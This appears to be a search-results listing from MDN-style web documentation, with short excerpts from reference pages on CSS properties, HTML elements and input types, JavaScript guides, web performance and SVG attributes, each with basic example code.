x /* keyword value */ cursor: pointer; cursor: auto; /* url, with a keyword fallback */ cursor: url(hand.cur), pointer; /* url and coordinates, with a keyword fallback */ cursor: url(cursor1.png) 4 12, auto; cursor: url(cursor2.png) 2 2, pointer; /* global values */ cursor: inherit; cursor: initial; cursor: unset; the cursor property is specified as zero or more <url> values, separated by commas, followed by a single mandatory keyword value.
... for example, this specifies two images using <url> values, providing <x><y> coordinates for the second one, and falling back to the progress keyword value if neither image can be loaded: cursor: url(one.svg), url(two.svg) 5 5, progress; values <url> a url(…) or a comma separated list url(…), url(…), …, pointing to an image file.
...ze | w-resize | ew-resize | ns-resize | nesw-resize | nwse-resize | col-resize | row-resize | all-scroll | zoom-in | zoom-out | grab | grabbing ] ] examples setting cursor types .foo { cursor: crosshair; } .bar { cursor: zoom-in; } /* a fallback keyword value is required when using a url */ .baz { cursor: url("hyper.cur"), auto; } specifications specification status comment css basic user interface module level 3the definition of 'cursor' in that specification.
...And 2 more matches
<custom-ident> - CSS: Cascading Style Sheets
specifications specification status comment css values and units module level 4the definition of '<custom-ident>' in that specification.
... candidate recommendation defines which values are excluded for will-change.
... candidate recommendation uses <custom-ident> instead of a finite list of keywords.
...And 2 more matches
font - CSS: Cascading Style Sheets
WebCSSfont
line-height must immediately follow font-size, preceded by "/", like this: "16px/3" font-family must be the last value specified.
... injectcss(shorttext); } injectcss = function(cssfragment) { old = document.body.getelementsbytagname("style"); if (old.length > 1) { old[1].parentelement.removechild(old[1]); } css = document.createelement("style"); css.innerhtml = ".fontshorthand{font: " + cssfragment + "}"; document.body.appendchild(css); } setcss(); specifications specification status comment css fonts module level 3the definition of 'font' in that specification.
... candidate recommendation added support for font-stretch values.
...And 2 more matches
margin-left - CSS: Cascading Style Sheets
this table summarizes the different cases: value of display value of float value of position computed value of auto comment inline, inline-block, inline-table any static or relative 0 inline layout mode block, inline, inline-block, block, table, inline-table, list-item, table-caption any static or relative 0, except if both ma...
...nopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting left margin using pixels and percentages .content { margin-left: 5%; } .sidebox { margin-left: 10px; } .logo { margin-left: -5px; } specifications specification status comment css basic box modelthe definition of 'margin-left' in that specification.
... candidate recommendation defines the behavior of margin-left on flex items.
...And 2 more matches
margin-right - CSS: Cascading Style Sheets
this table summarizes the different cases: value of display value of float value of position computed value of auto comment inline, inline-block, inline-table any static or relative 0 inline layout mode block, inline, inline-block, block, table, inline-table, list-item, table-caption any static or relative 0, except if both ma...
...rcentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting right margin using pixels and percentages .content { margin-right: 5%; } .sidebox { margin-right: 10px; } .logo { margin-right: -5px; } specifications specification status comment css basic box modelthe definition of 'margin-right' in that specification.
... candidate recommendation defines the behavior of margin-right on flex items.
...And 2 more matches
overflow-block - CSS: Cascading Style Sheets
ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
...And 2 more matches
<position> - CSS: Cascading Style Sheets
examples valid positions center left center top right 8.5% bottom 12vmin right -6px 10% 20% 8rem 14px invalid positions left right bottom top 10px 15px 20px 15px specifications specification status comment css values and units module level 3the definition of '<position>' in that specification.
... candidate recommendation relists links to both definitions: if css backgrounds and borders module level 3 is supported, its definition of <position> must also be used.
... candidate recommendation defines <position> explicitly and extends it to support offsets from any edge.
...And 2 more matches
<ratio> - CSS: Cascading Style Sheets
WebCSSratio
} common aspect ratios ratio usage 4/3 traditional tv format in the 20th century.
... 185/100 = 91/50 the most common movie format since the 1960s.
... specifications specification status comment media queries level 4the definition of '<ratio>' in that specification.
...And 2 more matches
text-indent - CSS: Cascading Style Sheets
syntax /* <length> values */ text-indent: 3mm; text-indent: 40px; /* <percentage> value relative to the containing block width */ text-indent: 15%; /* keyword values */ text-indent: 5em each-line; text-indent: 5em hanging; text-indent: 5em hanging each-line; /* global values */ text-indent: inherit; text-indent: initial; text-indent: unset; values <length> indentation is specified as an absolute <length>.
...&& each-line?where <length-percentage> = <length> | <percentage> examples simple indent html <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> css p { text-indent: 5em; background: powderblue; } result percentage indent html <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam...
... nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> css p { text-indent: 30%; background: plum; } result specifications specification status comment css text module level 3the definition of 'text-indent' in that specification.
...And 2 more matches
white-space - CSS: Cascading Style Sheets
the following table summarizes the behavior of the various white-space values: new lines spaces and tabs text wrapping end-of-line spaces normal collapse collapse wrap remove nowrap collapse collapse no wrap remove pre preserve preserve no wrap preserve pre-wrap preserve preserve wrap hang pre-line p...
... ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
...And 2 more matches
Block formatting context - Developer guides
if you use overflow, it is a good idea to comment the code to explain.
... collapsing creating a new bfc to avoid the margin collapsing between two neighbor div: html <div class="blue"></div> <div class="red-outer"> <div class="red-inner">red inner</div> </div> css .blue, .red-inner { height: 50px; margin: 10px 0; } .blue { background: blue; } .red-outer { overflow: hidden; background: red; } specifications specification status comment css display module level 3the definition of 'block formatting context' in that specification.
... candidate recommendation define bfc(abbr) etc.
...And 2 more matches
Overview of events and handlers - Developer guides
this overview of events and event handling explains the code design pattern used to react to incidents occurring when a browser accesses a web page, and it summarizes the types of such incidents modern web browsers can handle.
... events and event handling become central to web programming with the addition of the language to browsers, accompanying a switch in the rendering architecture of browsers from fetch and load page rendering to event driven, reflow based, page rendering.
... the event design pattern the event system, at its core, is simply a programming design pattern.
...And 2 more matches
Using device orientation with 3D transforms - Developer guides
using orientation to rotate an element the easiest way to convert orientation data to a 3d transform is basically to use the alpha, gamma, and beta values as rotatez, rotatex and rotatey values.
... there are however two corrections that should be applied to those values: the initial alpha value is 180 (device flat on the back, top of the screen pointing 12:00), so the rotatez value should be alpha - 180 the y axis of the screen coordinate system is inverted, such that translatey(100px) moves an element 100px down, so the rotatey value should be -gamma finally, the order of the three different rotations is very important to accurately convert an orientation to a 3d rotation: rotatez, then rotatex and then rotatey.
... here's a simple code snippet to sum it up: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // remember to use vendor-prefixed transform property elem.style.transform = "rotatez(" + ( e.alpha - 180 ) + "deg) " + "rotatex(" + e.beta + "deg) " + "rotatey(" + ( -e.gamma ) + "deg)"; }); orientation compensation compensating the orientation of the device can be useful to create parallax effects or augmented reality.
...And 2 more matches
Using HTML sections and outlines - Developer guides
semantic sectioning elements are specifically designed to communicate structural meaning to browsers and other technologies interpreting the document on behalf of users, such as screen readers and voice assistants.
...it does not refer to the main content alone and can be used for comments and widgets.
... html elements in <nav> while list elements are common for navigation they are not required.
...And 2 more matches
User input and controls - Developer guides
this article provides recommendations for managing user input and implementing controls in open web apps, along with faqs, real-world examples, and links to further information for anyone needing more detailed information on the underlying technologies.
... recommendations available input mechanisms depend on the capabilities of the device running the application: some devices provide touchscreen displays: the web platform offers touch events to interpret finger activity on touch-based user interfaces.
... the following is a set of recommendations and best practices for using such tools in open web apps.
...And 2 more matches
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
<h1>heading elements</h1> <h2>summary</h2> <p>some text here...</p> <h2>examples</h2> <h3>example 1</h3> <p>some text here...</p> <h3>example 2</h3> <p>some text here...</p> <h2>see also</h2> <p>some text here...</p> here is the result of this code: accessibility concerns navigation a common navigation technique for users of screen reading software is jumping from heading to heading to quickly determine the content of th...
...ing wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 mdn understanding wcag, guideline 2.4 explanations understanding success criterion 2.4.1 | w3c understanding wcag 2.0 understanding success criterion 2.4.6 | w3c understanding wcag 2.0 understanding success criterion 2.4.10 | w3c understanding wcag 2.0 labeling section content another common navigation technique for users of screen reading software is to generate a list of sectioning content and use it to determine the page's layout.
... using the aria-labelledby attribute labeling regions • page structure • w3c wai web accessibility tutorials specifications specification status comment html living standardthe definition of '<h1>, <h2>, <h3>, <h4>, <h5>, and <h6>' in that specification.
...And 2 more matches
<acronym> - HTML: Hypertext Markup Language
WebHTMLElementacronym
summary the html acronym element (<acronym>) allows authors to clearly indicate a sequence of characters that compose an acronym or abbreviation for a word.
... attributes this element only has global attributes, which are common to all elements.
... it is therefore recommended that web authors either explicitly style this element, or accept some cross-browser variation.
...And 2 more matches
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
WebHTMLElementapplet
example html <applet code="game.class" align="left" archive="game.zip" height="250" width="350"> <param name="difficulty" value="easy"> <b>sorry, you need java to play this game.</b> </applet> specifications specification status comment html 5.2the definition of '<applet>' in that specification.
... recommendation html 5.1the definition of '<applet>' in that specification.
... recommendation html5the definition of '<applet>' in that specification.
...And 2 more matches
<button>: The Button element - HTML: Hypertext Markup Language
WebHTMLElementbutton
formmethod html5 if the button is a submit button (it's inside/associated with a <form> and doesn't have type="button"), this attribute specifies the http method used to submit the form.
...a minimum interactive size of 44×44 css pixels is recommended.
... mobile browsers ios 7.1.2 android 4.4.4 safari mobile no (even with a tabindex) n/a chrome 35 no (even with a tabindex) yes specifications specification status comment html living standardthe definition of '<button>' in that specification.
...And 2 more matches
<dt>: The Description Term element - HTML: Hypertext Markup Language
WebHTMLElementdt
it is usually followed by a <dd> element; however, multiple <dt> elements in a row indicate several terms that are all defined by the immediate next <dd> element.
...the end tag may be omitted if this element is immediately followed by another <dt> or a <dd> element, or if there is no more content in the parent element.
... specifications specification status comment html living standardthe definition of '<dt>' in that specification.
...And 2 more matches
<em>: The Emphasis element - HTML: Hypertext Markup Language
WebHTMLElementem
use the <i> element to mark text that is in an alternate tone or mood, which covers many common situations for italics such as scientific names or words in other languages.
...<em> and <i> are a common example, since they both italicize text.
...</p> result specifications specification status comment html living standardthe definition of '<em>' in that specification.
...And 2 more matches
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
WebHTMLElementhtml
tag omission the start tag may be omitted if the first thing inside the <html> element is not a comment.
... the end tag may be omitted if the <html> element is not immediately followed by a comment.
... mdn understanding wcag, guideline 3.1 explanations understanding success criterion 3.1.1 | w3c understanding wcag 2.0 specifications specification status comment html living standardthe definition of '<html>' in that specification.
...And 2 more matches
<input type="hidden"> - HTML: Hypertext Markup Language
WebHTMLElementinputhidden
supported common attributes autocomplete idl attributes value methods none.
... additional attributes in addition to the attributes common to all <input> elements, hidden inputs offer the following attributes: attribute description name like all input types, the name of the input to report when submitting the form; the special value _charset_ causes the hidden input's value to be reported as the character encoding used to submit the form name this is actually one of the common attributes, but i...
... tracking edited content one of the most common uses for hidden inputs is to keep track of what database record needs to be updated when an edit form is submitted.
...And 2 more matches
<input type="password"> - HTML: Hypertext Markup Language
WebHTMLElementinputpassword
value a domstring representing a password, or empty events change and input supported common attributes autocomplete, inputmode, maxlength, minlength, pattern, placeholder, readonly, required, and size idl attributes selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), and setselectionrange() value the value attribute contains a domstring whose value is the current contents of the text editing control being use...
... use of a pattern is strongly recommended for password inputs, in order to help ensure that valid passwords using a wide assortment of character classes are selected and used by your users.
... <label for="userpassword">password: </label> <input id="userpassword" type="password" required> <input type="submit" value="submit"> specifying an input mode if your recommended (or required) password syntax rules would benefit from an alternate text entry interface than the standard keyboard, you can use the inputmode attribute to request a specific one.
...And 2 more matches
<input type="radio"> - HTML: Hypertext Markup Language
WebHTMLElementinputradio
events change and input supported common attributes checked and value idl attributes checked and value methods select() value the value attribute is a domstring containing the radio button's value.
... it's fairly uncommon to actually want to allow the form to be submitted without any of the radio buttons in a group selected, so it is usually wise to have one default to the checked state.
... additional attributes in addition to the common attributes shared by all <input> elements, radio inputs support the following attributes: attribute description checked a boolean indicating whether or not this radio button is the currently-selected item in the group value the string to use as the value of the radio when submitting the form, if the radio is currently toggled on checked a boolean...
...And 2 more matches
<input type="search"> - HTML: Hypertext Markup Language
WebHTMLElementinputsearch
events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, required, size.
... basic example <form> <div> <input type="search" id="mysearch" name="q"> <button>search</button> </div> </form> this renders like so: q is the most common name given to search inputs, although it's not mandatory.
...look at the following example: <form> <div> <input type="search" id="mysearch" name="q" placeholder="search the site..."> <button>search</button> </div> </form> you can see how the placeholder is rendered below: search form labels and accessibility one problem with search forms is their accessibility; a common design practice is not to provide a label for the search field (although there might be a magnifying glass icon or similar), as the purpose of a search form is normally fairly obvious for sighted users due to placement (this example shows a typical pattern).
...And 2 more matches
<input type="submit"> - HTML: Hypertext Markup Language
WebHTMLElementinputsubmit
<input type="submit" value="send request"> value a domstring used as the button's label events click supported common attributes type and value idl attributes value methods none value an <input type="submit"> element's value attribute contains a domstring which is displayed as the button's label.
...it"> additional attributes in addition to the attributes shared by all <input> elements, submit button inputs support the following attributes: attribute description formaction the url to which to submit the form's data; overrides the form's action attribute, if any formenctype a string specifying the encoding type to use for the form data formmethod the http method (get or post) to use when submitting the form.
... formmethod a string indicating the http method to use when submitting the form's data; this value overrides any method attribute given on the owning form.
...And 2 more matches
<input type="url"> - HTML: Hypertext Markup Language
WebHTMLElementinputurl
value a domstring representing a url, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value, selectionend, selectiondirection methods select(), setrangetext() and setselectionrange().
...this doesn't limit the user to those options, but does allow them to select commonly-used urls more quickly.
... } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; } <form> <div> <label for="myurl">enter the problem website address:</label> <input id="myurl" name="myurl" type="url" required pattern=".*\.myco\..*" title="the url must be in a myco domain"> <span class="validity"></span> </div> <div> <label for="mycomment">what is the problem?</label> <input id="mycomment" name="mycomment" type="text" required> <span class="validity"></span> </div> <div> <button>submit</button> </div> </form> first of all, the required attribute is specified, making it mandatory that a valid email address be provided.
...And 2 more matches
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
WebHTMLElementkbd
examples basic example <p>use the command <kbd>help mycommand</kbd> to view documentation for the command "mycommand".</p> representing keystrokes within an input to describe an input comprised of multiple keystrokes, you can nest multiple <kbd> elements, with an outer <kbd> element representing the overall input and each individual keystroke or component of the input enclosed within its own <kbd>.
... <p>if a syntax error occurs, the tool will output the initial command you typed for your review:</p> <blockquote> <samp><kbd>custom-git ad my-new-file.cpp</kbd></samp> </blockquote> representing onscreen input options nesting a <samp> element inside a <kbd> element represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen.
... result specifications specification status comment html living standardthe definition of '<kbd>' in that specification.
...And 2 more matches
Standard metadata names - HTML: Hypertext Markup Language
WebHTMLElementmetaname
description: a short and accurate summary of the content of the page.
... keywords: words relevant to the page's content separated by commas.
...it is highly recommended to make use of the safe area inset variables to ensure that important content doesn't end up outside the display.
...And 2 more matches
<rtc>: The Ruby Text Container element - HTML: Hypertext Markup Language
WebHTMLElementrtc
tag omission the closing tag can be omitted if it is immediately followed by a <rb>, <rtc> or <rt> element opening tag or by its parent closing tag.
... examples <div class="info"> <ruby> <rbc> <rb>旧</rb><rt>jiù</rt> <rb>金</rb><rt>jīn</rt> <rb>山</rb><rt>shān</rt> </rbc> <rtc>san francisco</rtc> </ruby> </div> .info { padding-top: 10px; font-size: 36px; } specifications specification status comment html 5.2the definition of '<rtc>' in that specification.
... recommendation html 5.1the definition of '<rtc>' in that specification.
...And 2 more matches
<script>: The Script element - HTML: Hypertext Markup Language
WebHTMLElementscript
the <script> element can also be used with other languages, such as webgl's glsl shader programming language and json.
... notes scripts without async , defer or type="module" attributes, as well as inline scripts, are fetched and executed immediately, before the browser continues to parse the page.
... <!-- generated by the server --> <script id="data" type="application/json">{"userid":1234,"username":"john doe","membersince":"2000-01-01t00:00:00.000z"}</script> <!-- static --> <script> const userinfo = json.parse(document.getelementbyid("data").text); console.log("user information: %o", userinfo); </script> specifications specification status comments html living standardthe definition of '<script>' in that specification.
...And 2 more matches
<select>: The HTML Select element - HTML: Hypertext Markup Language
WebHTMLElementselect
usage notes selecting multiple options on a desktop computer, there are a number of ways to select multiple options in a <select> element with a multiple attribute: mouse users can hold the ctrl, command, or shift keys (depending on what makes sense for your operating system) and then click multiple options to select/deselect them.
... technical summary content categories flow content, phrasing content, interactive content, listed, labelable, resettable, and submittable form-associated element permitted content zero or more <option> or <optgroup> elements.
... implicit aria role combobox with no multiple attribute and no size attribute greater than 1, otherwise listbox permitted aria roles menu with no multiple attribute and no size attribute greater than 1, otherwise no role permitted dom interface htmlselectelement specifications specification status comments html living standardthe definition of '<select>' in that specification.
...And 2 more matches
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
WebHTMLElementstrong
<b> and <strong> are perhaps one of the most common sources of confusion, causing developers to ask "should i use <b> or <strong>?
...communicating meaning is what semantics are all about.
... examples basic example <p>before proceeding, <strong>make sure you put on your safety goggles</strong>.</p> the resulting output: labeling warnings <p><strong>important:</strong> before proceeding, make sure you add plenty of butter.</p> this results in: specifications specification status comment html living standardthe definition of '<strong>' in that specification.
...And 2 more matches
<sup>: The Superscript element - HTML: Hypertext Markup Language
WebHTMLElementsup
examples exponents exponents, or powers of a number, are among the most common uses of superscripted text.
... for example: <p>one of the most common equations in all of physics is <var>e</var>=<var>m</var><var>c</var><sup>2</sup>.<p> the resulting output looks like this: superior lettering superior lettering is not technically the same thing as superscript.
... however, it is common to use <sup> to present superior lettering in html.
...And 2 more matches
<table>: The Table element - HTML: Hypertext Markup Language
WebHTMLElementtable
summary this attribute defines an alternative text that summarizes the content of the table.
... mdn adding a caption to your table with <caption> caption & summary • tables • w3c wai web accessibility tutorials scoping rows and columns the scope attribute on header elements is redundant in simple contexts, because scope is inferred.
... if the table cannot be broken apart, use a combination of the id and headers attributes to programmatically associate each table cell with the header(s) the cell is associated with.
...And 2 more matches
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
WebHTMLElementtd
the end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element.
... height this attribute is used to define a recommended cell height.
... width this attribute is used to define a recommended cell width.
...And 2 more matches
<th> - HTML: Hypertext Markup Language
WebHTMLElementth
the end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element.
... height deprecated since html4, obsolete since html5 this attribute is used to define a recommended cell height.
... width deprecated since html4, obsolete since html5 this attribute is used to define a recommended cell width.
...And 2 more matches
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementtt
<p>enter the following at the telnet command prompt: <code>set localecho</code><br /> the telnet client should display: <tt>local echo is on</tt></p> result overriding the default font you can override the browser's default font—if the browser permits you to do so, which it isn't required to do—using css: css tt { font-family: "lucida console", "menlo", "monaco", "courier", monospace; } html <p>enter the f...
...ollowing at the telnet command prompt: <code>set localecho</code><br /> the telnet client should display: <tt>local echo is on</tt></p> result usage notes the <tt> element is, by default, rendered using the browser's default non-proportional font.
... specifications specification status comment html5the definition of '<tt>' in that specification.
...And 2 more matches
dir - HTML: Hypertext Markup Language
as the directionality of the text is semantically related to its content and not to its presentation, it is recommended that web developers use this attribute instead of the related css properties when possible.
... specifications specification status comment html living standardthe definition of 'dir' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'dir' in that specification.
...And 2 more matches
tabindex - HTML: Hypertext Markup Language
these elements have built-in roles and states that communicate status to the accessibility that would otherwise have to be managed by aria.
... using the tabindex attribute | the paciello group specifications specification status comment html living standardthe definition of 'tabindex' in that specification.
... recommendation snapshot of html living standard, no change from html5.
...And 2 more matches
title - HTML: Hypertext Markup Language
some typical uses: labeling <iframe> elements for assistive technology providing a programmatically associated label for an <input> element as a fallback for a real <label> labeling controls in data tables additional semantics are attached to the title attributes of the <link>, <abbr>, <input>, and <menuitem> elements.
...semantics, structure, and apis of html documents using the html title attribute – updated | the paciello group tooltips & toggletips - inclusive components the trials and tribulations of the title attribute - 24 accessibility specifications specification status comment html living standardthe definition of 'title' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'title' in that specification.
...And 2 more matches
Firefox user agent string reference - HTTP
general form the ua string of firefox itself is broken down into four components: mozilla/5.0 (platform; rv:geckoversion) gecko/geckotrail firefox/firefoxversion mozilla/5.0 is the general token that says the browser is mozilla compatible, and is common to almost every browser today.
... the recommended way of sniffing for gecko-based browsers (if you have to sniff for the browser engine instead of using feature detection) is by the presence of the "gecko" and "rv:" strings, since some other browsers include a "like gecko" token.
...a few common examples are given below.
...And 2 more matches
About JavaScript - JavaScript
it is a prototype-based, multi-paradigm scripting language that is dynamic, and supports object-oriented, imperative, and functional programming styles.
...objects are created programmatically in javascript, by attaching methods and properties to otherwise empty objects at run time, as opposed to the syntactic class definitions common in compiled languages like c++ and java.
... for a more in depth discussion of javascript programming follow the javascript resources links below.
...And 2 more matches
Control flow and error handling - JavaScript
the block is delimited by a pair of curly brackets: { statement_1; statement_2; ⋮ statement_n; } example block statements are commonly used with control flow statements (if, for, while).
... conditional statements a conditional statement is a set of commands that executes if a specified condition is true.
... for example, do not write code like this: // prone to being misread as "x == y" if (x = y) { /* statements here */ } if you need to use an assignment in a conditional expression, a common practice is to put additional parentheses around the assignment, like this: if ((x = y)) { /* statements here */ } falsy values the following values evaluate to false (also known as falsy values): false undefined null 0 nan the empty string ("") all other values—including all objects—evaluate to true when passed to a conditional statement.
...And 2 more matches
Numbers and dates - JavaScript
if the digits after 0x are outside the range (0123456789abcdef), the following syntaxerror is thrown: "identifier starts immediately after numeric literal".
... the following table summarizes the number object's properties.
...the following table summarizes the methods of number.prototype.
...And 2 more matches
JavaScript shells - JavaScript
can use perl modules directly from javascript: dbi for database integration, gtk2 for gui apps, posix for system programming, etc.
... the best of cpan now for javascript programmers.
... shelljs - portable unix shell commands for node.js list of javascript shells the following javascript shells work with mozilla.
...And 2 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
automatically starting the playback of audio (or videos with audio tracks) immediately upon page load can be an unwelcome surprise to users.
... note: put another way, playback of any media that includes audio is generally blocked if the playback is programmatically initiated in a tab which has not yet had any user interaction.
... note: it is strongly recommended that you use the autoplay attribute whenever possible, because support for autoplay preferences are more widespread for the autoplay attribute than for other means of playing media automatically.
...And 2 more matches
Media type and format guide: image, audio, and video content - Web media technologies
WebMediaFormats
web audio codec guide a guide to the audio codecs allowed for by the common media containers, as well as by the major browsers.
... web video codec guide this article provides basic information about the video codecs supported by the major browsers, as well as some that are not commonly supported but that you might still run into.
... the "codecs" parameter in common media types when specifying the mime type describing a media format, you can provide details using the codecs parameter as part of the type string.
...And 2 more matches
Navigation and resource timings - Web Performance
the navigation timings provide us a way to programmatically check transfer sizing and bandwidth savings.
...the request start is the moment immediately before the user agent starts requesting the resource from the server, or from relevant application caches or from local resources.
... the response start is the time immediately after the user agent's http parser receives the first byte of the response from relevant application caches, or from local resources or from the server, which happens after the request is received and processed.
...And 2 more matches
Web Performance
in summary, we should always try to create our animations using css transitions/animations where possible.
...to understand how to improve performance and perceived performance, it helps to understand how the browser works.recommended web performance timings: how long is too long?there are no clear set rules as to what constitutes a slow pace when loading pages, but there are specific guidelines for indicating content will load (1 second), idling (50ms), animating (16.7s) and responding to user input (50 to 200ms).the business case for web performanceyou know web performance is important, but how do you convince clients a...
... javascript performance best practices javascript, when used properly, can allow for interactive and immersive web experiences — or it can significantly harm download time, render time, in-app performance, battery life, and user experience.
...And 2 more matches
gradientTransform - SVG: Scalable Vector Graphics
specifications specification status comment css transforms level 1the definition of 'surfacescale for <fespecularlighting>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 2the definition of 'gradienttransformation for <radialgradient>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'gradienttransformation for <lineargradient>' in that specification.
...And 2 more matches
gradientUnits - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'gradientunits for <radialgradient>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 2the definition of 'gradientunits for <lineargradient>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'gradientunits for <radialgradient>' in that specification.
...And 2 more matches
path - SVG: Scalable Vector Graphics
WebSVGAttributepath
for detailed information about the commands that can be used, see the explanation for the d attribute.
...for detailed information about the commands that can be used, see the explanation for the d attribute.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'path for <textpath>' in that specification.
...And 2 more matches
r - SVG: Scalable Vector Graphics
WebSVGAttributer
value <length> | <percentage> default value 50% animatable yes specifications specification status comment scalable vector graphics (svg) 2the definition of 'r' in that specification.
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'r' in that specification.
... candidate recommendation definition for svg2 paint servers <radialgradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'r' in that specification.
...And 2 more matches
spreadMethod - SVG: Scalable Vector Graphics
top-color="orange"/> </radialgradient> </defs> <rect fill="url(#radialpadgradient)" x="10" y="10" width="100" height="100"/> <rect fill="url(#radialreflectgradient)" x="120" y="10" width="100" height="100"/> <rect fill="url(#radialrepeatgradient)" x="230" y="10" width="100" height="100"/> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of 'spreadmethod for <radialgradient>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 2the definition of 'spreadmethod for <lineargradient>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'spreadmethod for <radialgradient>' in that specification.
...And 2 more matches
systemLanguage - SVG: Scalable Vector Graphics
path>, <cursor>, <defs>, <discard>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <unknown>, <use>, and <video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of comma-separated tokens, each of which must be a language-tag value, as defined in bcp 47.
...it is thus recommended to include a "catch-all" choice at the end of such a <switch> which is acceptable in all cases.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'systemlanguage' in that specification.
...And 2 more matches
x1 - SVG: Scalable Vector Graphics
WebSVGAttributex1
"url(#g0)" /> <!-- here the gradient vector start at 80% of the left bounding limit of the shape it is applied to --> <lineargradient x1="80%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'x1' in that specification.
... candidate recommendation definition for <line> scalable vector graphics (svg) 2the definition of 'x1' in that specification.
... candidate recommendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x1' in that specification.
...And 2 more matches
x2 - SVG: Scalable Vector Graphics
WebSVGAttributex2
"url(#g0)" /> <!-- here the gradient vector start at 20% of the left bounding limit of the shape it is applied to --> <lineargradient x2="20%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'x2' in that specification.
... candidate recommendation definition for <line> scalable vector graphics (svg) 2the definition of 'x2' in that specification.
... candidate recommendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'x2' in that specification.
...And 2 more matches
y1 - SVG: Scalable Vector Graphics
WebSVGAttributey1
--> <lineargradient y1="100%" id="g1"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'y1' in that specification.
... candidate recommendation definition for <line> scalable vector graphics (svg) 2the definition of 'y1' in that specification.
... candidate recommendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'y1' in that specification.
...And 2 more matches
y2 - SVG: Scalable Vector Graphics
WebSVGAttributey2
--> <lineargradient y2="100%" id="g1"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'y2' in that specification.
... candidate recommendation definition for <line> scalable vector graphics (svg) 2the definition of 'y2' in that specification.
... candidate recommendation definition for <lineargradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'y2' in that specification.
...And 2 more matches
<cursor> - SVG: Scalable Vector Graphics
WebSVGElementcursor
a recommended approach for defining a platform-independent custom cursor is to create a png image and define a cursor element that references the png image and identifies the exact position within the image which is the pointer position (i.e., the hot spot).
... the png format is recommended because it supports the ability to define a transparency mask via an alpha channel.
... specifications specification status comment scalable vector graphics (svg) 2the definition of '<cursor>' in that specification.
...And 2 more matches
child - XPath
WebXPathAxeschild
specifications specification status comment xpath 3.1the definition of 'child' in that specification.
